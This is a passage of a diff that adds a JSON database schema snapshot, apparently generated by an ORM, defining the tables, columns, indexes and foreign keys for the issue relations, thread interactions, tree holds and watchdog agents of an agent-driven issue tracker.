+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issue_reference_mentions\".\"source_record_id\" is null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_reference_mentions_company_id_companies_id_fk": {
+          "name": "issue_reference_mentions_company_id_companies_id_fk",
+          "tableFrom": "issue_reference_mentions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_reference_mentions_source_issue_id_issues_id_fk": {
+          "name": "issue_reference_mentions_source_issue_id_issues_id_fk",
+          "tableFrom": "issue_reference_mentions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "source_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_reference_mentions_target_issue_id_issues_id_fk": {
+          "name": "issue_reference_mentions_target_issue_id_issues_id_fk",
+          "tableFrom": "issue_reference_mentions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "target_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_relations": {
+      "name": "issue_relations",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "related_issue_id": {
+          "name": "related_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "type": {
+          "name": "type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_relations_company_issue_idx": {
+          "name": "issue_relations_company_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_relations_company_related_issue_idx": {
+          "name": "issue_relations_company_related_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "related_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_relations_company_type_idx": {
+          "name": "issue_relations_company_type_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_relations_company_edge_uq": {
+          "name": "issue_relations_company_edge_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "related_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_relations_company_id_companies_id_fk": {
+          "name": "issue_relations_company_id_companies_id_fk",
+          "tableFrom": "issue_relations",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_relations_issue_id_issues_id_fk": {
+          "name": "issue_relations_issue_id_issues_id_fk",
+          "tableFrom": "issue_relations",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_relations_related_issue_id_issues_id_fk": {
+          "name": "issue_relations_related_issue_id_issues_id_fk",
+          "tableFrom": "issue_relations",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "related_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_relations_created_by_agent_id_agents_id_fk": {
+          "name": "issue_relations_created_by_agent_id_agents_id_fk",
+          "tableFrom": "issue_relations",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_thread_interactions": {
+      "name": "issue_thread_interactions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "kind": {
+          "name": "kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending'"
+        },
+        "continuation_policy": {
+          "name": "continuation_policy",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'wake_assignee'"
+        },
+        "requested_resolver_policy": {
+          "name": "requested_resolver_policy",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'anyone'"
+        },
+        "effective_resolver_policy": {
+          "name": "effective_resolver_policy",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'anyone'"
+        },
+        "resolver_policy_provenance": {
+          "name": "resolver_policy_provenance",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'inherited'"
+        },
+        "effective_resolver_policy_source": {
+          "name": "effective_resolver_policy_source",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'requested'"
+        },
+        "idempotency_key": {
+          "name": "idempotency_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_comment_id": {
+          "name": "source_comment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_run_id": {
+          "name": "source_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "summary": {
+          "name": "summary",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "addressee_agent_id": {
+          "name": "addressee_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_by_agent_id": {
+          "name": "resolved_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_by_run_id": {
+          "name": "resolved_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_by_user_id": {
+          "name": "resolved_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "payload": {
+          "name": "payload",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "result": {
+          "name": "result",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_at": {
+          "name": "resolved_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_thread_interactions_issue_idx": {
+          "name": "issue_thread_interactions_issue_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_thread_interactions_company_issue_created_at_idx": {
+          "name": "issue_thread_interactions_company_issue_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_thread_interactions_company_issue_status_idx": {
+          "name": "issue_thread_interactions_company_issue_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_thread_interactions_company_issue_idempotency_uq": {
+          "name": "issue_thread_interactions_company_issue_idempotency_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "idempotency_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issue_thread_interactions\".\"idempotency_key\" IS NOT NULL",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_thread_interactions_source_comment_idx": {
+          "name": "issue_thread_interactions_source_comment_idx",
+          "columns": [
+            {
+              "expression": "source_comment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_thread_interactions_addressee_agent_idx": {
+          "name": "issue_thread_interactions_addressee_agent_idx",
+          "columns": [
+            {
+              "expression": "addressee_agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_thread_interactions_company_id_companies_id_fk": {
+          "name": "issue_thread_interactions_company_id_companies_id_fk",
+          "tableFrom": "issue_thread_interactions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_thread_interactions_issue_id_issues_id_fk": {
+          "name": "issue_thread_interactions_issue_id_issues_id_fk",
+          "tableFrom": "issue_thread_interactions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_thread_interactions_source_comment_id_issue_comments_id_fk": {
+          "name": "issue_thread_interactions_source_comment_id_issue_comments_id_fk",
+          "tableFrom": "issue_thread_interactions",
+          "tableTo": "issue_comments",
+          "columnsFrom": [
+            "source_comment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_thread_interactions_source_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_thread_interactions_source_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_thread_interactions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "source_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_thread_interactions_created_by_agent_id_agents_id_fk": {
+          "name": "issue_thread_interactions_created_by_agent_id_agents_id_fk",
+          "tableFrom": "issue_thread_interactions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_thread_interactions_addressee_agent_id_agents_id_fk": {
+          "name": "issue_thread_interactions_addressee_agent_id_agents_id_fk",
+          "tableFrom": "issue_thread_interactions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "addressee_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_thread_interactions_resolved_by_agent_id_agents_id_fk": {
+          "name": "issue_thread_interactions_resolved_by_agent_id_agents_id_fk",
+          "tableFrom": "issue_thread_interactions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "resolved_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_thread_interactions_resolved_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_thread_interactions_resolved_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_thread_interactions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "resolved_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_tree_hold_members": {
+      "name": "issue_tree_hold_members",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "hold_id": {
+          "name": "hold_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "parent_issue_id": {
+          "name": "parent_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "depth": {
+          "name": "depth",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "issue_identifier": {
+          "name": "issue_identifier",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_title": {
+          "name": "issue_title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_status": {
+          "name": "issue_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "assignee_agent_id": {
+          "name": "assignee_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "assignee_user_id": {
+          "name": "assignee_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "active_run_id": {
+          "name": "active_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "active_run_status": {
+          "name": "active_run_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "skipped": {
+          "name": "skipped",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "skip_reason": {
+          "name": "skip_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_tree_hold_members_hold_issue_uq": {
+          "name": "issue_tree_hold_members_hold_issue_uq",
+          "columns": [
+            {
+              "expression": "hold_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_tree_hold_members_company_issue_idx": {
+          "name": "issue_tree_hold_members_company_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_tree_hold_members_hold_depth_idx": {
+          "name": "issue_tree_hold_members_hold_depth_idx",
+          "columns": [
+            {
+              "expression": "hold_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "depth",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_tree_hold_members_company_id_companies_id_fk": {
+          "name": "issue_tree_hold_members_company_id_companies_id_fk",
+          "tableFrom": "issue_tree_hold_members",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_tree_hold_members_hold_id_issue_tree_holds_id_fk": {
+          "name": "issue_tree_hold_members_hold_id_issue_tree_holds_id_fk",
+          "tableFrom": "issue_tree_hold_members",
+          "tableTo": "issue_tree_holds",
+          "columnsFrom": [
+            "hold_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_tree_hold_members_issue_id_issues_id_fk": {
+          "name": "issue_tree_hold_members_issue_id_issues_id_fk",
+          "tableFrom": "issue_tree_hold_members",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_tree_hold_members_parent_issue_id_issues_id_fk": {
+          "name": "issue_tree_hold_members_parent_issue_id_issues_id_fk",
+          "tableFrom": "issue_tree_hold_members",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "parent_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_tree_hold_members_assignee_agent_id_agents_id_fk": {
+          "name": "issue_tree_hold_members_assignee_agent_id_agents_id_fk",
+          "tableFrom": "issue_tree_hold_members",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "assignee_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_tree_hold_members_active_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_tree_hold_members_active_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_tree_hold_members",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "active_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_tree_holds": {
+      "name": "issue_tree_holds",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "root_issue_id": {
+          "name": "root_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "mode": {
+          "name": "mode",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "reason": {
+          "name": "reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "release_policy": {
+          "name": "release_policy",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_actor_type": {
+          "name": "created_by_actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'system'"
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "released_at": {
+          "name": "released_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "released_by_actor_type": {
+          "name": "released_by_actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "released_by_agent_id": {
+          "name": "released_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "released_by_user_id": {
+          "name": "released_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "released_by_run_id": {
+          "name": "released_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "release_reason": {
+          "name": "release_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "release_metadata": {
+          "name": "release_metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_tree_holds_company_root_status_idx": {
+          "name": "issue_tree_holds_company_root_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "root_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_tree_holds_company_status_mode_idx": {
+          "name": "issue_tree_holds_company_status_mode_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "mode",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_tree_holds_company_id_companies_id_fk": {
+          "name": "issue_tree_holds_company_id_companies_id_fk",
+          "tableFrom": "issue_tree_holds",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_tree_holds_root_issue_id_issues_id_fk": {
+          "name": "issue_tree_holds_root_issue_id_issues_id_fk",
+          "tableFrom": "issue_tree_holds",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "root_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_tree_holds_created_by_agent_id_agents_id_fk": {
+          "name": "issue_tree_holds_created_by_agent_id_agents_id_fk",
+          "tableFrom": "issue_tree_holds",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_tree_holds_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_tree_holds_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_tree_holds",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_tree_holds_released_by_agent_id_agents_id_fk": {
+          "name": "issue_tree_holds_released_by_agent_id_agents_id_fk",
+          "tableFrom": "issue_tree_holds",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "released_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_tree_holds_released_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_tree_holds_released_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_tree_holds",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "released_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_watchdogs": {
+      "name": "issue_watchdogs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "watchdog_agent_id": {
+          "name": "watchdog_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "instructions": {
+          "name": "instructions",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "watchdog_issue_id": {
+          "name": "watchdog_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_observed_fingerprint": {
+          "name": "last_observed_fingerprint",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_reviewed_fingerprint": {
+          "name": "last_reviewed_fingerprint",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_observed_stop_snapshot": {
+          "name": "last_observed_stop_snapshot",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_reviewed_stop_snapshot": {
+          "name": "last_reviewed_stop_snapshot",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_triggered_at": {
+          "name": "last_triggered_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_completed_at": {
+          "name": "last_completed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "trigger_count": {
+          "name": "trigger_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_agent_id": {
+          "name": "updated_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_user_id": {
+          "name": "updated_by_user_id",
+          "type": "text",
+          "primaryKey": false,
